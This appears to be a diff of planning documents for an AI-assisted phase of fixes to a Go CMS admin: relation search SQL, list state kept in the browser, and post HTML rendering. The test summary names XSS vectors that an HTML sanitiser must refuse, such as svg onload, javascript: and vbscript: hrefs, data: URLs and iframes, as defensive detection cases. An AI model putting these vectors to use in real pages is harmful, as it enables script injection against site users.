|
||||
- kind: integration
|
||||
ref: "modules/cabana/query_relation_test.go#TestListRelationSearchPostgres"
|
||||
status: unknown
|
||||
- kind: integration
|
||||
ref: "../sm-journal-plugin/posts_admin_smoke_test.go#TestPostsAdminResaveKeepsHTML"
|
||||
status: unknown
|
||||
human_judgment: true
|
||||
rationale: "Needs Docker (testcontainers); this machine has no Docker socket permission. Both tests vet clean and fail (not skip) here with 'failed to create Docker provider'. Run on a Docker host before /msd-verify-work."
|
||||
|
||||
duration: 12min
|
||||
completed: 2026-10-09
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.1 Plan 03: Unit tests Summary
|
||||
|
||||
**The Phase 16.1 fixes are now covered by tests that run without Docker:**
|
||||
- vitest pins the list to form to list round trip and the browser-storage list state.
|
||||
- A DryRun SQL matrix pins the relation subquery builder, including a bound-value check through GORM's ParamsFilter hook.
|
||||
- Table tests pin the default-locale order.
|
||||
- FormatHTML tests require an error for every unsafe input and an unchanged result for imported HTML.
|
||||
|
||||
Two Postgres tests are written for a Docker host.
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 12 min
|
||||
- **Started:** 2026-10-09T20:38:52Z
|
||||
- **Completed:** 2026-10-09T20:51:32Z
|
||||
- **Tasks:** 3 of 3
|
||||
- **Files modified:** 6 in summercms.go (4 admin test files, 2 cabana test files), 2 in sm-journal-plugin, plus VALIDATION.md and WINDOWS.md
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **D-01, form round trip (tracer).** A stored query (`sort=code`, `dir=desc`, `filter[active]=true`) is restored after back, cancel, save-and-close and delete. The router lands on the list with that query, and every list GET after the click carries it. A fifth case checks that nothing stored means an unfiltered list with no params.
|
||||
- Mutation check: with the restore in `ListView.vue` disabled, the four restore cases fail and the unfiltered case still passes.
|
||||
- **D-01, listState.ts (23 tests).**
|
||||
- Keys are the prefix plus the controller id, one key per list.
|
||||
- Invalid JSON, non-objects, arrays and non-string values read as empty and remove the key. The strict parser drops malformed values.
|
||||
- An empty query, empty filter values or only page 1 remove the key. A write then read round-trips every field.
|
||||
- `clearListStates` keeps `summer-admin.sidebar` and unrelated keys.
|
||||
- Storage whose `getItem`, `setItem`, `removeItem`, `key` or `localStorage` getter throws never throws out of the helpers.
|
||||
- **D-01, ListView entry.**
|
||||
- With a stored query, no list request goes out without the stored params.
|
||||
- Every list param in the URL wins and replaces the whole stored query.
|
||||
- Clearing search, sort and filter through the UI removes the key, and a remount loads the list unfiltered.
|
||||
- `router.push` to the bare path of the same filtered list keeps the filters and makes no unfiltered request.
|
||||
- A 422 removes the key.
|
||||
- A page past `last_page`, from the URL or from storage, is replaced by `last_page` (requests 5 then 2).
|
||||
- **D-01, logout.** For a successful call, a 500 and a network failure, logout removes every `summer-admin.list:` key and leaves only `summer-admin.sidebar`.
|
||||
- **D-02, TestListRelationSQL.** 14 SQL-shape cases, 5 refusals and 2 statement-level checks.
|
||||
- **Custom pivot keys.** The `cabana_rel_labelings` pivot with `labeled_post`/`label_ref` uses exactly those names, and the SQL has none of the default `rel_*_id` names.
|
||||
- **Self-reference.** `cabana_rel_people` is aliased `cabana_r0` and correlates to the unaliased main table.
|
||||
- **Soft delete.** The related model adds `"cabana_r0"."deleted_at" IS NULL`.
|
||||
- **Refusals.** Polymorphic search and sort, and an unknown select column, each answer 422 with only that parameter in `details`. No page is loaded.
|
||||
- **Search term.** `O'Neil 100%_X` never appears in the SQL text. Four placeholders are each bound to `%o'neil 100\%\_x%`.
|
||||
- **ListExtendQuery and scope filter.** `user_id = 7 AND (...) AND id IN (3)` has no JOIN outside the subqueries.
|
||||
- **Sort.** To-many sort orders by `string_agg` in both directions, followed by the id tiebreak. belongsTo and hasOne sort keep the `LEFT JOIN ... "Author"` / `"Profile"` association join.
|
||||
- **D-02, TestListRelationSearchPostgres.**
|
||||
- A post with two tags matching "fungi" gives total 1.
|
||||
- `sort=tags` gives [2 1] ascending and [1 2] descending.
|
||||
- `search=spore` finds the hasMany note, and `search=ada` finds the belongsTo author.
|
||||
- **D-03, TestEnabledLocalesDefaultFirst.** 12 subtests, including a check that the writer's slice is not reordered in place.
|
||||
- **D-03, FormatHTML.**
|
||||
- **Keep cases.** 7 imported-style bodies round-trip unchanged after trimming. Markdown keeps a trailing raw `<footer>` and `<style>` verbatim.
|
||||
- **Refuse cases.** All 19 refuse cases must return an error and an empty result. This adds svg `onload`, mixed-case `on*`, `javascript:` and `vbscript:` hrefs, `object`, `embed`, a script inside an HTML block, raw and markdown `data:` URLs, and upper-case `IFRAME`.
|
||||
- `check_html_test.go` is unchanged and green.
|
||||
- **D-03, TestPostsAdminResaveKeepsHTML.** An admin creates and then updates (PUT) a post whose content is two HTML paragraphs. After each write, `content_html` equals the content and has no placeholder.
|
||||
|
||||
## Task Commits
|
||||
|
||||
summercms.go (master, not pushed; ships with the next tag):
|
||||
|
||||
1. **Task 1: Tracer, list state round trip and storage coverage:** `a8bce9c` (test)
|
||||
2. **Task 2: Relation subquery and locale order coverage:** `837922c` (test)
|
||||
3. **Task 3 phase gate: VALIDATION.md results:** `837e40a` (docs)
|
||||
|
||||
sm-journal-plugin (main, not pushed):
|
||||
|
||||
3. **Task 3: FormatHTML keep and refuse coverage, admin re-save keeps HTML:** `03907ee` (test)
|
||||
|
||||
## Gate output
|
||||
|
||||
- Task 1: `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke` gave 16 files and 299 tests passed. `npm --prefix admin run typecheck` was clean.
|
||||
- Task 2: `go vet ./modules/cabana` was clean. Four `--- PASS: Test` lines: `TestEnabledLocalesDefaultFirstSmoke`, `TestEnabledLocalesDefaultFirst`, `TestListRelationSearchSmoke`, `TestListRelationSQL`.
|
||||
- Task 3, journal: `go -C ../sm-journal-plugin vet ./...` was clean and `./classes/` printed ok. Two `--- PASS: Test` lines for the FormatHTML tests.
|
||||
- Phase gate: `go vet ./...`, `TestDocsTree`, the typecheck, `npm --prefix admin test` (76 files, 1144 tests), and `check-admin-dist.sh` ("modules/boardwalk/dist matches a fresh build") ended with **`phase-16.1-local-gate-ok`**.
|
||||
- Quick suite latency: 20 s.
|
||||
|
||||
## Docker-host result
|
||||
|
||||
**Pending.** `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` fail here with `failed to create Docker provider`. They fail rather than skip, as designed. They are a manual row in VALIDATION.md and two `unrun-verify` entries in `.planning/WINDOWS.md`.
|
||||
|
||||
Human check before `/msd-verify-work`: on a Docker host, run `go test -count=1 ./...` in summercms.go and `go -C ../sm-journal-plugin test -count=1 ./...`. This includes `TestListQueryContract`, `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML`.
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `admin/tests/state/listState.test.ts` (new): the storage helper tests.
|
||||
- `admin/tests/form/FormView.test.ts`: "returning to the list keeps its query (D-01)" with the tracer.
|
||||
- `admin/tests/list/ListView.test.ts`: "list state entry logic (D-01)".
|
||||
- `admin/tests/state/useAuth.test.ts`: logout clears list keys and keeps the sidebar.
|
||||
- `modules/cabana/query_relation_test.go`:
|
||||
- Matrix fixtures: custom pivot, self-reference, soft delete, polymorphic, hasOne and the scoped model and controller.
|
||||
- `bindRecorder` and `openBindDryRunDB`, `withoutSubqueries`, `pageStatement`.
|
||||
- `newFilteredListService`; `newDryRunListService` now delegates to it.
|
||||
- `TestListRelationSQL` and `TestListRelationSearchPostgres`.
|
||||
- `modules/cabana/locale_order_test.go`: `TestEnabledLocalesDefaultFirst` and its writer test doubles.
|
||||
- `../sm-journal-plugin/classes/format_html_test.go`: strict refuse cases and keep cases.
|
||||
- `../sm-journal-plugin/posts_admin_smoke_test.go`: `TestPostsAdminResaveKeepsHTML`.
|
||||
- `16.1-VALIDATION.md`: every status filled, Wave 0 checked, recorded runs.
|
||||
- `.planning/WINDOWS.md`: two unrun-verify entries for the Docker-host tests.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- **Strict refuse cases.** The FormatHTML refuse cases now require an error and an empty result. The old check also passed when the unsafe markup was rendered harmless. That is no longer a valid outcome, because with `html.WithUnsafe()` the gate is the only defence.
|
||||
- **`nyquist_compliant: true`.** Every automated row is green. Docker-host suites and UAT checks remain manual rows. The frontmatter `status` stays `draft`, because only validate-phase sets it to `validated`.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
None. The plan executed as written. Small additions within scope:
|
||||
- hasOne search and sort cases.
|
||||
- An `EnabledLocales` error case, an empty-default case and a no-in-place-mutation case.
|
||||
- `newFilteredListService`, needed for the scope-filter case.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- The `windows append` CLI refuses paths outside the repository. The sm-journal-plugin entry was therefore recorded against `16.1-VALIDATION.md`, and its description names the test file.
|
||||
- The auto-mode classifier twice gave no verdict on the Task 2 commit. The retry succeeded and nothing changed in between.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None. No external service configuration is required.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Phase 16.1 has every plan summarized. Next steps:
|
||||
- Run the Docker-host suites, which are pending.
|
||||
- Run `/msd-verify-work 16.1` for the UAT rows (D-01 list state, D-03 form locales, the post-64 footer).
|
||||
- Commits `a8bce9c`, `837922c` (summercms.go) and `03907ee` (sm-journal-plugin) are unpushed and ship with the next release.
|
||||
- Phase 16.2 can reuse `openBindDryRunDB`, `newFilteredListService` and the generic `relModelController` for any new list SQL.
|
||||
|
||||
---
|
||||
*Phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f*
|
||||
*Completed: 2026-10-09*
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
Created and modified test files exist; commits a8bce9c, 837922c, 837e40a (summercms.go) and 03907ee (sm-journal-plugin) are present.
|
||||
@@ -0,0 +1,43 @@
|
||||
# Phase 16.1: Journal admin urgent fixes - Context
|
||||
|
||||
**Gathered:** 2026-10-09
|
||||
**Status:** Ready for planning (no discuss-phase run; decisions captured from the user directly)
|
||||
|
||||
<domain>
|
||||
## Phase Boundary
|
||||
|
||||
Fix the four defects found on UAT in the Journal posts admin (uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts), release, and redeploy:
|
||||
|
||||
1. List search fails with "The list could not be loaded." (`{"error":{"code":"error","details":{},"message":"Server error"}}`). Go log: `ERROR: column Categories.post_id does not exist (SQLSTATE 42703)` at summercms@v0.1.9 `modules/cabana/query.go:129` — search across a belongsToMany (pivot) relation builds a hasMany-style join.
|
||||
2. List sort and filters are lost after opening a post and going back.
|
||||
3. The post form shows `content` empty on every post, although the UAT database has `content` and `content_html` on 104/104 posts and the frontend renders them.
|
||||
4. The post form shows `excerpt` empty, although 100/104 posts have `excerpt` in the database.
|
||||
|
||||
Out of scope: plugin-provided field types and the Blog Editor formwidget (Phase 16.2).
|
||||
</domain>
|
||||
|
||||
<decisions>
|
||||
## Implementation Decisions
|
||||
|
||||
- **D-01: List state lives in the URL and in the browser's localStorage.** Sort, filters, search and page are reflected in the list URL query string (shareable, bookmarkable, back-button friendly); the form's back/save/close links and the admin navigation return to the list with its query. When the list is opened without list-state query parameters (for example from the admin navigation), the last query stored in localStorage for that list (keyed per list) is restored before the first list request. When the URL carries list-state parameters, the URL wins and also updates localStorage. No server-side storage: no table, no migration, no new API route (revised 2026-10-09 to keep the phase small; admin auth is a stateless JWT, so a server session would need new storage). User's words: "I may go back to Posts list through navigation and it's great if my filters were remembered + sharable URLs are nice to have."
|
||||
- **D-05: Three plans.** 01 all fixes (cabana EXISTS relation search and sort, default locale first in form locales, Journal FormatHTML keeping imported HTML, list state via URL + localStorage); 02 release and redeploy to UAT, including re-saving posts 53 and 64 that lost HTML on import; 03 unit tests.
|
||||
- **D-02: The relation-search fix is a framework fix in summercms.go `modules/cabana`**, generic for belongsToMany (pivot) relations, not a Journal-specific workaround. Another session is concurrently working in `modules/`; plans must keep cabana changes in their own commits, stage files explicitly by path, and check for conflicting in-flight edits before touching shared cabana files.
|
||||
- **D-03: Content and excerpt must show the stored values without loss.** Root cause is to be established by research (suspects: translatable-field overlay replacing host values with empty translations; the markdown widget not displaying imported HTML). Saving a post from the admin must not destroy imported HTML (see todo `journal-imported-html-admin-resave.md`); if a full fix needs the Blog Editor, 16.1 at least prevents data loss and 16.2 delivers the editor.
|
||||
- **D-04: Ship to UAT.** Release a summercms tag carrying the cabana fixes (unless the concurrent session's release already includes them), bump `sm-grzybyfunkcjonalne-app`, redeploy to uat.grzybyfunkcjonalne.pl per its DEPLOY.md, and re-run `scripts/smoke.sh --url` on the server.
|
||||
|
||||
### Claude's Discretion
|
||||
- localStorage key naming for list state; reuse the existing list query parameters (`search`, `sort`, `dir`, `page`, `per_page`, `filter[name]`).
|
||||
- Whether to disable the unused `en` locale on the UAT site during deploy (not required by the framework fix).
|
||||
- Test strategy, within the lean-mode rule that unit tests are the last plan of the phase.
|
||||
</decisions>
|
||||
|
||||
<canonical_refs>
|
||||
## Canonical References
|
||||
|
||||
- `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-04-SUMMARY.md` — UAT server facts and deploy procedure
|
||||
- `../sm-grzybyfunkcjonalne-app/DEPLOY.md` — redeploy steps (smoke runs on the server; UAT is behind basic auth)
|
||||
- `.planning/todos/pending/journal-imported-html-admin-resave.md`
|
||||
- `.planning/todos/pending/cabana-richeditor-field-type.md` (16.2, context only)
|
||||
</canonical_refs>
|
||||
</content>
|
||||
</invoke>
|
||||
@@ -0,0 +1,235 @@
|
||||
# Phase 16.1: Journal admin urgent fixes - Pattern Map
|
||||
|
||||
**Mapped:** 2026-10-09
|
||||
**Files analyzed:** 14 (new or modified)
|
||||
**Analogs found:** 13 / 14
|
||||
|
||||
All analog paths are git-tracked source in summercms.go or sm-journal-plugin. No `.msd/` mirror paths are used.
|
||||
|
||||
## File Classification
|
||||
|
||||
| New/Modified File | Role | Data Flow | Closest Analog | Match Quality |
|
||||
|---|---|---|---|---|
|
||||
| `modules/cabana/query.go` (search EXISTS, to-many sort) | service (SQL builder) | request-response / CRUD read | itself: `applyListSearch` L323-360, `applyListOrder` L295-321, helpers L486-497 | exact (in-place edit) |
|
||||
| `modules/cabana/list_state.go` (NEW) | service + handler | CRUD (upsert/read) | `modules/cabana/account.go` (`accountPrincipal` L214-223, `lockAccount` L225-240) | role-match |
|
||||
| `modules/cabana/http.go` (route, save in `list`, locale order) | controller | request-response | itself: routes L253-256, `list` L986-1015, `enabledContentLocales` L966-984 | exact |
|
||||
| `modules/cabana/admin_openapi.go` | config (swag docs) | n/a | `AdminListSchema` L340-354, `AdminList` L430+ | exact |
|
||||
| `modules/lagoon/backend_admin_migrations.go` | migration | batch DDL | `202610090001_backend_users_metadata` L120-132 | exact |
|
||||
| `modules/lagoon/backend_admin_migrations_test.go` | test | integration | prohibited-table loop L117-121 | exact |
|
||||
| `modules/cabana/query_relation_test.go` (NEW) | test | DryRun SQL | none in cabana (no DryRun tests exist); use RESEARCH "DryRun SQL test" sketch | no analog |
|
||||
| `modules/cabana/list_state_test.go` (NEW) | test | integration | `modules/cabana/ml_smoke_test.go` (`recordingWriter` L67-72), `ml_test.go:51` | role-match |
|
||||
| `admin/src/views/ListView.vue` | component | event-driven / request-response | itself L113-153 (`replaceQuery`, `loadList`, watch) | exact |
|
||||
| `admin/tests/list/ListView.test.ts` | test | vitest | itself L1-40 (`routes()`, `requestsTo`) | exact |
|
||||
| `admin/tests/form/MLFields.test.ts` | test | vitest | itself (fixtures `['en','pl']` L18) | exact |
|
||||
| `admin/openapi/admin.json`, `admin/src/api/schema.d.ts`, `modules/boardwalk/dist/` | generated | n/a | `scripts/check-admin-openapi.sh`, `npm --prefix admin run build` | regenerate only |
|
||||
| `../sm-journal-plugin/classes/format_html.go` | utility | transform | itself L1-38 | exact |
|
||||
| `../sm-journal-plugin/classes/format_html_test.go`, `posts_admin_smoke_test.go` | test | unit / integration | themselves (`TestFormatHTMLRejectsUnsafeHTML`) | exact |
|
||||
| Docs: `modules/cabana/README.md`, `modules/lagoon/README.md`, `docs/backend/lists-and-filters.md` | docs | n/a | existing sections; no app names (use `blog`/`acme`) | exact |
|
||||
|
||||
## Pattern Assignments
|
||||
|
||||
### `modules/cabana/query.go` (service, SQL builder)
|
||||
|
||||
**Current bug, search** (L345-360) — replace the `db.Joins(field)` branch with an `EXISTS` term appended to `parts`/`args`:
|
||||
```go
|
||||
if col.Relation != "" {
|
||||
field, ok := relationFieldName(model, col.Relation)
|
||||
physical := listRelationColumn(controller, col.Relation, col.Select)
|
||||
if !ok || !identifier(physical) {
|
||||
return nil, listInvalid("search", "is not searchable")
|
||||
}
|
||||
// GORM aliases the joined association with the Go field name.
|
||||
table = field
|
||||
column = physical
|
||||
if _, done := joined[field]; !done {
|
||||
db = db.Joins(field)
|
||||
joined[field] = struct{}{}
|
||||
}
|
||||
}
|
||||
```
|
||||
Keep the existing guards (`relationFieldName`, `listRelationColumn`, `identifier`, `listInvalid`) and `pattern := "%" + escapeLike(strings.ToLower(term)) + "%"` (L336). Build the subquery from `gorm.Statement{DB: db}.Parse(model)` → `Schema.Relationships.Relations[field]` (RESEARCH Pattern 1 `relationExists` sketch). Aliases `cabana_p<n>` / `cabana_r<n>`.
|
||||
|
||||
**Current bug, sort** (L303-309): `db = db.Joins(field)` — keep for `schema.BelongsTo`/`schema.HasOne`; for `HasMany`/`Many2Many` emit `clause.OrderBy{Expression: clause.Expr{SQL: "(SELECT string_agg(...) ...)"}}` with `Desc` handled in SQL. Keep the trailing pk tiebreak (L316-318).
|
||||
|
||||
**Identifier helpers to reuse** (L486-497):
|
||||
```go
|
||||
func qualifiedColumn(db *gorm.DB, table, column string) string {
|
||||
return quotedIdent(db, table) + "." + quotedIdent(db, column)
|
||||
}
|
||||
func quotedIdent(db *gorm.DB, name string) string { ... db.Dialector.QuoteTo(&b, name) ... }
|
||||
```
|
||||
Never guess pivot/fk names (README rule).
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/http.go` (controller)
|
||||
|
||||
**Route registration** (L253-254) — add the literal route next to `schema/list`, each followed by `constrainController(g)`:
|
||||
```go
|
||||
g.Get("/{vendor}/{plugin}/{controller}/schema/list", s.listSchema)
|
||||
constrainController(g)
|
||||
```
|
||||
|
||||
**Handler shape / save point** (`list`, L986-1015):
|
||||
```go
|
||||
func (s *service) list(w http.ResponseWriter, r *http.Request) {
|
||||
s.protect(w, r, func(cc *CompiledController) {
|
||||
db, err := s.db()
|
||||
if err != nil { WriteError(w, http.StatusInternalServerError, "error", msgServerError); return }
|
||||
result, err := ExecuteList(r.Context(), db, cc, listQueryFromRequest(r))
|
||||
var invalid *ListValidationError
|
||||
if errors.As(err, &invalid) {
|
||||
WriteErrorDetails(w, http.StatusUnprocessableEntity, "validation_failed", "Validation failed", invalid.Details)
|
||||
return
|
||||
}
|
||||
if err != nil { WriteError(...); return }
|
||||
// <-- best-effort saveListState(ctx, db, principal.ID, cc id, input); slog.Error on failure
|
||||
...
|
||||
WriteData(w, http.StatusOK, result.Data, meta)
|
||||
})
|
||||
}
|
||||
```
|
||||
The new `listState` handler copies this exact `s.protect` + `s.db()` + `WriteData` skeleton. Controller id is built in `protect` as `vendor.plugin.controller` (L1019).
|
||||
|
||||
**Locale order** (`enabledContentLocales`, L966-984): after `codes, err := writer.EnabledLocales(ctx, db)`, call `writer.DefaultLocale(ctx, db)` and move it to index 0 (RESEARCH "Default locale first" sketch). Error path follows `slog.Error("cabana: enabled locales", "error", err)`.
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/list_state.go` (NEW, service, CRUD upsert/read)
|
||||
|
||||
**Analog:** `modules/cabana/account.go`
|
||||
|
||||
Principal pattern (L214-223):
|
||||
```go
|
||||
principal, ok := bouncer.User(r.Context())
|
||||
if !ok || principal == nil || !principal.Backend || principal.ID == 0 {
|
||||
WriteError(w, http.StatusUnauthorized, "unauthenticated", msgUnauthenticated)
|
||||
return nil
|
||||
}
|
||||
```
|
||||
Query pattern (L227-230) — fresh session scoped to the request context, filter by principal id only:
|
||||
```go
|
||||
err := tx.Session(&gorm.Session{NewDB: true, Context: ctx}).
|
||||
Clauses(clause.Locking{Strength: "UPDATE"}).
|
||||
Preload("Role").Where("id = ?", id).Take(&user).Error
|
||||
if errors.Is(err, gorm.ErrRecordNotFound) { ... }
|
||||
```
|
||||
Upsert: no non-test `clause.OnConflict` exists in modules yet; use `Clauses(clause.OnConflict{Columns: []clause.Column{{Name: "user_id"}, {Name: "controller"}}, DoUpdates: clause.AssignmentColumns([]string{"state", "updated_at"})})`. Sanitize on restore by reusing `normalizePage`, `normalizeSort`, filter allowlist, `switchArgument`/`parseDateRange`/`scopeArgument` (drop invalid parts, never 422). Cap JSON at 4 KiB.
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/admin_openapi.go` (swag)
|
||||
|
||||
**Analog:** `AdminListSchema` (L340-354):
|
||||
```go
|
||||
// AdminListSchema documents the list schema route.
|
||||
//
|
||||
// @Summary Admin list schema
|
||||
// @Tags admin
|
||||
// @Produce json
|
||||
// @Security BackendBearer
|
||||
// @Param vendor path string true "Vendor"
|
||||
// @Param plugin path string true "Plugin"
|
||||
// @Param controller path string true "Controller"
|
||||
// @Success 200 {object} Envelope[ListSchema]
|
||||
// @Failure 401 {object} ErrorEnvelope
|
||||
// @Failure 403 {object} ErrorEnvelope
|
||||
// @Failure 404 {object} ErrorEnvelope
|
||||
// @Router /{vendor}/{plugin}/{controller}/schema/list [get]
|
||||
func AdminListSchema() {}
|
||||
```
|
||||
Add `AdminListState` with `@Router /{vendor}/{plugin}/{controller}/list-state [get]`; extend `AdminList` `@Description` (L433) with one sentence. Regenerate via `scripts/check-admin-openapi.sh`.
|
||||
|
||||
---
|
||||
|
||||
### `modules/lagoon/backend_admin_migrations.go` (migration)
|
||||
|
||||
**Analog** (L120-132):
|
||||
```go
|
||||
{
|
||||
// WinterCMS ...: rationale comment.
|
||||
ID: "202610090001_backend_users_metadata",
|
||||
Migrate: func(tx *gorm.DB) error {
|
||||
return tx.Exec(`ALTER TABLE backend_users ADD COLUMN IF NOT EXISTS metadata TEXT`).Error
|
||||
},
|
||||
Rollback: func(tx *gorm.DB) error {
|
||||
return tx.Exec(`ALTER TABLE backend_users DROP COLUMN IF EXISTS metadata`).Error
|
||||
},
|
||||
},
|
||||
```
|
||||
New entry `202610100001_backend_list_states` appended last, raw `CREATE TABLE IF NOT EXISTS` (DDL in RESEARCH Pattern 2) / `DROP TABLE IF EXISTS`. Test: extend `backend_admin_migrations_test.go` (keep the prohibited-tables loop L117-121 including `backend_user_preferences`).
|
||||
|
||||
---
|
||||
|
||||
### `admin/src/views/ListView.vue` (component)
|
||||
|
||||
**Current entry** (L113-153):
|
||||
```ts
|
||||
function replaceQuery(next: ListQuery): void {
|
||||
void router.replace({ path: route.path, query: toListQuery(next) })
|
||||
}
|
||||
let generation = 0
|
||||
async function loadList(): Promise<void> {
|
||||
const current = ++generation
|
||||
...
|
||||
const result = await api.GET('/{vendor}/{plugin}/{controller}', { params: { path, query: query.value } })
|
||||
if (current !== generation) return
|
||||
...
|
||||
}
|
||||
watch(() => listQueryKey(query.value), () => { selected.value = []; searchText.value = query.value.search ?? ''; void loadList() }, { immediate: true })
|
||||
```
|
||||
Change: drop `immediate: true`; add an entry routine that, on empty `parseListQuery(route.query)`, calls `api.GET('/{vendor}/{plugin}/{controller}/list-state', { params: { path } })` then `replaceQuery(state)` or `loadList()`. Track the last key set by `replaceQuery` for same-path re-entry. Page clamp after `loadList` on `meta.page > meta.last_page`. Reuse `parseListQuery`/`toListQuery`/`listQueryKey` from `admin/src/app/listQuery.ts`. FormView unchanged.
|
||||
|
||||
**Test analog** (`admin/tests/list/ListView.test.ts` L18-27):
|
||||
```ts
|
||||
const BASE = `${API}/acme/demo/widgets`
|
||||
function routes(overrides: Record<string, Route> = {}): Record<string, Route> {
|
||||
return { [`GET ${BASE}/schema/list`]: { body: listSchemaFixture }, [`GET ${BASE}`]: { body: listFixture }, ...overrides }
|
||||
}
|
||||
```
|
||||
Add `[`GET ${BASE}/list-state`]` route; assert ordering with `requestsTo(calls, 'GET', BASE)` (L64, L234-258 pattern).
|
||||
|
||||
---
|
||||
|
||||
### `../sm-journal-plugin/classes/format_html.go` (utility, transform)
|
||||
|
||||
**Current** (L9-18):
|
||||
```go
|
||||
import (
|
||||
"github.com/yuin/goldmark"
|
||||
"github.com/yuin/goldmark/extension"
|
||||
"github.com/yuin/goldmark/parser"
|
||||
)
|
||||
var (
|
||||
markdownEngine = goldmark.New(
|
||||
goldmark.WithExtensions(extension.Footnote, extension.Table),
|
||||
goldmark.WithParserOptions(parser.WithAttribute()),
|
||||
)
|
||||
```
|
||||
Add `"github.com/yuin/goldmark/renderer/html"` and `goldmark.WithRendererOptions(html.WithUnsafe())`. Note: `FormatHTML` has a local variable named `html` (L33) that will shadow the package; rename the local (e.g. `out`). Keep `rejectUnsafe` call unchanged. Do not touch `cabana.RenderMarkdown`.
|
||||
|
||||
## Shared Patterns
|
||||
|
||||
### Permission gate before SQL
|
||||
**Source:** `modules/cabana/http.go` `protect` (L1016+). **Apply to:** `list`, new `listState`. Controller lookup → principal check → permission → fn.
|
||||
|
||||
### Error envelopes
|
||||
**Source:** `WriteError`, `WriteErrorDetails`, `WriteData`, `msgServerError` as used in `list` (L990-1013). **Apply to:** list-state route. Save failures: `slog.Error("cabana: ...", "error", err)`, never fail the response.
|
||||
|
||||
### ML writer test double
|
||||
**Source:** `modules/cabana/ml_smoke_test.go` L67-72 `recordingWriter{defaultLocale, enabled, ...}`; usage `ml_test.go:51` `&recordingWriter{defaultLocale: "en", enabled: []string{"en", "pl"}}`. **Apply to:** `TestEnabledLocalesDefaultFirst` with `defaultLocale: "pl"`.
|
||||
|
||||
### Commit hygiene (D-02)
|
||||
Cabana/lagoon changes in their own commits, staged by explicit path; run `git status --porcelain -- modules admin` before each cabana task. Rebuild `modules/boardwalk/dist` and regenerate OpenAPI in the same change as SPA/swag edits; update cabana/lagoon READMEs and `docs/backend/lists-and-filters.md`.
|
||||
|
||||
## No Analog Found
|
||||
|
||||
| File | Role | Data Flow | Reason |
|
||||
|---|---|---|---|
|
||||
| `modules/cabana/query_relation_test.go` | test | DryRun SQL | No DryRun-based tests in cabana; use RESEARCH "DryRun SQL test (pure, no Docker)" sketch (`gorm.Config{DryRun: true, DisableAutomaticPing: true}` + `db.ToSQL`) |
|
||||
|
||||
## Metadata
|
||||
|
||||
**Analog search scope:** `modules/cabana`, `modules/lagoon`, `admin/src/views`, `admin/tests`, `../sm-journal-plugin/classes`
|
||||
**Files scanned:** ~12
|
||||
**Pattern extraction date:** 2026-10-09
|
||||
@@ -0,0 +1,680 @@
|
||||
# Phase 16.1: Journal admin urgent fixes: relation search, list state, post form content and excerpt - Research
|
||||
|
||||
**Researched:** 2026-10-09
|
||||
**Domain:** summercms.go `modules/cabana` (GORM list queries, admin JSON API, Vue admin SPA), `sm-journal-plugin` (post save path), UAT release
|
||||
**Confidence:** HIGH for the three root causes (each reproduced by a probe or read from the UAT database); MEDIUM for the list-state design (Claude's discretion area)
|
||||
|
||||
<user_constraints>
|
||||
## User Constraints (from CONTEXT.md)
|
||||
|
||||
### Locked Decisions
|
||||
- **D-01: List state lives in both the URL and the server session.** Sort, filters, search and page are reflected in the list URL query string (shareable, bookmarkable, back-button friendly). When the list is opened without list-state query parameters (for example from the admin navigation), the last state stored in the user's session for that list is restored. When the URL carries list-state parameters, the URL wins and also updates the session. User's words: "I may go back to Posts list through navigation and it's great if my filters were remembered + sharable URLs are nice to have."
|
||||
- **D-02: The relation-search fix is a framework fix in summercms.go `modules/cabana`**, generic for belongsToMany (pivot) relations, not a Journal-specific workaround. Another session is concurrently working in `modules/`; plans must keep cabana changes in their own commits, stage files explicitly by path, and check for conflicting in-flight edits before touching shared cabana files.
|
||||
- **D-03: Content and excerpt must show the stored values without loss.** Root cause is to be established by research (suspects: translatable-field overlay replacing host values with empty translations; the markdown widget not displaying imported HTML). Saving a post from the admin must not destroy imported HTML (see todo `journal-imported-html-admin-resave.md`); if a full fix needs the Blog Editor, 16.1 at least prevents data loss and 16.2 delivers the editor.
|
||||
- **D-04: Ship to UAT.** Release a summercms tag carrying the cabana fixes (unless the concurrent session's release already includes them), bump `sm-grzybyfunkcjonalne-app`, redeploy to uat.grzybyfunkcjonalne.pl per its DEPLOY.md, and re-run `scripts/smoke.sh --url` on the server.
|
||||
|
||||
### Claude's Discretion
|
||||
- Session storage mechanism and query-parameter naming for list state, following existing cabana conventions.
|
||||
- Test strategy, within the lean-mode rule that unit tests are the last plan of the phase.
|
||||
|
||||
### Deferred Ideas (OUT OF SCOPE)
|
||||
- Plugin-provided field types and the Blog Editor formwidget (Phase 16.2). (CONTEXT.md has no separate Deferred section; this is its "Out of scope" line.)
|
||||
</user_constraints>
|
||||
|
||||
<phase_requirements>
|
||||
## Phase Requirements
|
||||
|
||||
No requirement IDs are mapped. The CONTEXT decisions are the requirement set.
|
||||
|
||||
| ID | Description | Research Support |
|
||||
|----|-------------|------------------|
|
||||
| D-01 | List sort, filters, search and page in the URL and a per-user server store; restore when the list opens without params | "List state" pattern: the URL params already exist; add the `backend_list_states` table, a `GET .../list-state` restore route, a save inside the list handler, and the ListView entry logic |
|
||||
| D-02 | Generic cabana fix for search over belongsToMany (and sort over to-many) relations | Root cause reproduced: `db.Joins("Categories")` on a many2many builds `"Categories"."post_id"`. Fix: correlated `EXISTS` subqueries built from GORM's parsed relationship |
|
||||
